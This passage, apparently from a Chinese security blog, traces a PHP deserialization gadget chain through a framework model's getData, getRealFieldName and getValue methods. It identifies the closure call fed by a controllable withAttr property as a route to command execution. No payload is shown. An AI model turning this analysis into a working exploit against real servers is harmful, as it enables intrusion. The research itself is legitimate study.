return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

因为$name必定存在,第一个判断直接绕过,我们就需要看一下getRealFieldName()方法的调用(虽然字面上我感觉不会有太大的干扰,就是获取真的文件名,但这里还是看一下)

1
2
3
4
5
6
7
8
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}

return $name;
}

$this->strict的默认值为True,这里就只能返回$key了,所以$this->getdata()返回的$value值就是 $this->data[$key]

看到返回值调用函数getValue(),我们把变量给替换了,这样方便理解$this->getValue($key,$this->data[$key], $relation)

继续跟踪getValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name); //$key

if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}

$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
// 保存关联对象值
$this->relation[$name] = $value;
}

$this->get[$fieldName] = $value;

return $value;
}

看到两句可能可以构造动态函数命令执行的语句

1
2
3
$value = $closure($value, $this->data);

$value = $this->$method($value, $this->data);

$method被字符串拼接,所以看到$closure

1
$closure = $this->withAttr[$fieldName]

也就是说,只要控制this->withAttr,就可以控制$closure,也就可以进行命令执行构造

这里的判断可以来看一下

1
$closure instanceof \Closure

这个判断是来判断$closure是否为一个匿名函数的,如果 $closure 是一个匿名函数(闭包),即属于 Closure 类的实例,那么表达式的结果为真,条件成立

评论